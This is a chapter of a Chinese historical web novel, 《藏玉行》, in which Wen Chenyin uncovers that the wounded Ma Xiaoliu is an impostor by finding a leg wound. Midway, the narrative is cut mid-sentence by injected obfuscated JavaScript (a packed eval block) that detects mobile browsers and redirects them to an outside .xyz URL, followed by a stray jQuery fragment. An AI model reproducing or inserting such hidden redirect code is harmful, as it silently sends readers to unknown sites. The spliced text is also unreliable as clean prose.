40. 破绽
作品:《藏玉行》 敲开房门时,马小六正捧着一本书靠在床头。
只是从他那一脸神游的表情来看,也不知道那本书他究竟看进去了多少。
自从柳行云一事发生后,他像是长了教训,原本鸡飞狗跳的性格逐渐变得安静,外加随顾青影出游而再次受伤,整个人越发显得蔫乎乎的。
发现有人前来探望,他赶紧将书放下,想要起身。
顾青影怕他受累,先一步在床头坐下,嘘寒问暖地进行了一番问候。
趁着两人闲聊之际,温沉吟将他放下的书拿了起来,随手看了看。
顾青影留意到了她的举动,目光也追了过来:“云麾将军喜欢读屈原?”
马小六像是有些心虚,口气支支吾吾地:“也不是……就是如今行动不便,闲着也是闲着,刚好手边有本书,就随手拿来瞧瞧。”
顾青影却没能察觉他的尴尬,依旧兴致勃勃:“我听父亲说,裴叔叔当年给裴小将军取名,便是源自屈原先生的《楚辞·九章·怀沙》。倒是不知道父亲替我取名“青影”,究竟有何讲究。”
关于裴瑾名字的来历,温沉吟倒是第一次听说,好奇之下,不动声色地翻起了手中的书本。
当她的目光落到“怀瑾握瑜兮,穷不知所示”时,心下不禁一阵酸楚。
想来在裴行州的心中,一直盼望着自己的儿子无论身处何地,都品性高洁,心怀志向。
这么多年以来,无论是在热烈繁华的京城帝都,还是在烽烟四起的北境战场,裴瑾也从未辜负过自己父亲的期望。
只是如今,美玉蒙尘,没了踪迹,陪在她身边的,却成了这样一个空有其表的冒牌货。
怔仲之间,马小六不知是真的累了,还是担心继续与顾青影聊下去会露出破绽,很快露出了一副深思倦怠,体力难支的模样。
顾青影见状,赶紧知情识趣地站了起来:“看到云麾将军恢复得不错,我也就放心了。等过些日子父亲得空了,我再与他一同过来看你。”
听他说要走,马小六像是松了一口气,赶紧起身,满是客气想要送他。
下床的那一刻,他的身体微微一晃,轻轻抽了口凉气,似是因为腿部忽然落地有些疼痛难当。
虽然那个表情消失得飞快,但还是被温沉吟捕捉到了。
然而下一秒,他很快稳住了身体,快步向前,像是无事发生一般。
看着他挺直的背影,温沉吟心中忽然模模糊糊的涌上了一个念头。
可那个念头是如此荒唐,竟让她一时间有些难以置信。
为了验证自己的猜想,她赶紧开口劝道:“瑾哥,你身子还没完全回复,还是先休息吧。世子就由我去送好了。”
一路将顾青影送出府门后,温沉吟停下了脚步:“对了,还有一事想问问世子。当初瑾哥坠马,究竟是伤了哪里,世子可还记得吗?”
“当然!”
顾青影似是对当初那满是惊险的场面记忆犹新,回答起来很是清楚:“将云麾将军送进别院之后,我便请大夫细细检查过了,大夫说他主要是的右肩与后背伤得有些严重。”
“那他腿部受伤了吗?”
“应该没有吧……那日我与云麾将军同游松溪谷,为了不被人打扰,便让下人们在谷外候着,所以他坠马之后我也是扶着他走了好一阵,才出谷叫了马车。那一路上我看他步履正常,腿上应该是没什么伤。”
“世子确定?”
“怎么了?云麾将军的腿是出了什么问题吗?”
听她一再确认,顾青影也着急了起来:“这事说起来也怪我,原本云麾将军坠马受伤,我理应亲自照顾才是。只是那日将他送进别院后不久,便有人来报,说是我母亲突然病到。回府后我才知道,母亲不知怎么了,忽然上吐下泻不止,人也发起了高烧。父亲当时已经去了晋州,我只能陪在母亲身边侍疾,却不料母亲病势反复,总是不见好……顾府与别院相距甚远,我实在分身乏术,便只能遣了下人前去探望。想来是那些下人们不尽心,也就知道送送汤药,以至于云麾将军的伤势有了变化,竟也没及时告诉我……”
温沉吟越听越不对劲:“所以世子的意思是,瑾哥在你家别院休养期间,你从未亲眼见过他?即便是你派过去下人,也只是负责送汤药而已?”
顾青影的表情越发愧疚:“是……”
“那当负责照顾瑾哥的那个大夫呢?他是从哪里找来的?”
“别院附近有一家医馆,大夫医术不错,与我也算熟悉。当时情况紧急,我便将他请了过来了。”
“我能见见他吗?”
“这还真是不巧,前几日他说是要回老家探亲,已经暂时将医馆关闭了……”
顾青影只当她是因裴瑾伤势有变而责怪自己,神色不由得越发紧张:“温姐姐,所以究竟是出了什么事?若是那大夫的方子有什么错漏的地方,我便派人将他找来便是!”
“不必了……”
一连串的巧合之下,温沉吟已知再去寻那大夫已然不是件轻而易举的事。
更何况要验证她的猜想,还有更直截了当的方法。
此刻面对一脸紧张的顾青影,她也只是安抚性地笑了笑:“世子不用担心,瑾哥身体无恙,我只是随口问问,等过些日子他大好了,我便与他一起登门致谢。”
送别了顾青影,温沉吟去打了一盆清水,又拿了些药膏、布料之类的东西重新回到了马小六的房间。
马小六似是没想到她会去而复返,看着她手里的东西,神色变得有些紧张。
温沉吟也不多话,只是朝着床上指了指,示意他重新躺下。
紧接着,她抬起手,慢慢摸向了他右边小腿的位置。
马小六没想到她会忽然上手,赶紧将腿一缩,口气也变得磕磕巴巴的:“你……这是要干什么?”
温沉吟神色不变,却用力抓住了他的脚踝:“回来这么久了,我也没好好来看过你,今儿既然来了,就顺便帮你换换药。”
马小六像是被她的举动惊呆了,脸色也涨的有点红:“俗话说,男女授受不亲,温小姐清誉要紧,怎能为我做这种事?而且我也好得差不多了,你若实在不放心,这些事交
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313162|181521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给下人们也就是了……
温沉吟“恩”了一声,已然拿起了剪刀:“正是因为你已经好得差不多了,若是再不亲自帮你换换药,以后只怕就没有机会了,不是么?”
见她态度坚决,马小六知道自己是拦不住了,只能放弃般的叹了叹,将身体靠了回去。
随着裤腿被卷起,包扎着的布料被一点点剪开,右边小腿处,一道又长又深的伤口,赫然出现在两人眼前。
从那个自称沈星的使臣被贺兰所伤,为了放血驱毒,自行将伤处割开到现在,已经过去了大半个月。
那条伤口也已经开始结痂,有了愈合的迹象。
但即便如此,那斑驳的痂口还是能窥见当初小腿的肌肤被划开时,那惊心动魄的模样。
真相在这一刻已经明明白白的就在眼前,马小六却没有预想中的慌乱。
静默之中,温沉吟将剪刀一抛,站了起来:“你这伤究竟怎么来的,就不打算解释解释么?”
马小六低声苦笑着:“你既然都知道了,又何必来问我?”
听他这口气,似是已经自暴自弃,不打算再做无谓的申辩。
但对于温沉吟而言,这个答案显然还不够。
对方乔装易容,假冒沈星混进使团,陪同他们千里奔波,去往越国,必定有所图谋。
可是危难之时,又是他挺身而出,以命向护,才保得魏弘宣和自己姐弟二人安然回国。
所以他究竟是什么人?所作的一切究竟都是为了什么?
见她目光怔怔,显然是千万思绪涌上心头,马小六轻声叹了叹,慢慢坐直了身体:“我知道你想问什么,但我也知道,无论我说什么,你必然也不会信。反正密室的位置我也知道,自己过去便是,也就不用麻烦你了……”
没等他把话说完,温沉吟已经重新坐回了床头,拿起药膏,一点点地敷在了他的伤处。
马小六原本已经做好了行迹败露之后,被她严审刑讯的准备,不料对方恍若无事发生一般,只是专心致志地处理着他的伤口,却让他不由得慌乱了起来。
片刻之后,感觉对方纤细柔软的手指一直在他的伤口处轻轻抚摸着,那种温柔又细致地模样,像是在对待病中的恋人一般,马小六心慌意乱之下,迅速扣住了她的手腕,连声音也变得干哑了起来:“温小姐,既然决定要刑讯,你又何必多此一举?你总不能指望你对我好一点,我就编些你想听的话来哄你不是?”
温沉吟这才将手一收,看向了他:“咱们认识也不是一两日了,所以我知道,除非是你心甘情愿,不然我如何逼供也是无用。但无论如何,你曾经救过我和阿珩的性命。我温沉吟并非恩怨不分之人,光凭这一点,我便不会与你为难的。”
听她如此承诺,马小六似是松了一口气。
但一想到她惯有的行为处事,又觉得有些难以置信:“所以说……你没有什么话想要问我了,是吗?”
“有,但不是现在。”
温沉吟冲他嫣然一笑,然后站起身来:“你先在此处休息,晚些时候,你随我出一趟门。”